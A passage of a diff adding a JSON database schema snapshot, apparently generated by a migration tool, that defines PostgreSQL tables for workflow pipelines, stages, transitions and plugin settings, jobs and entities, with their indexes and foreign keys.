+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
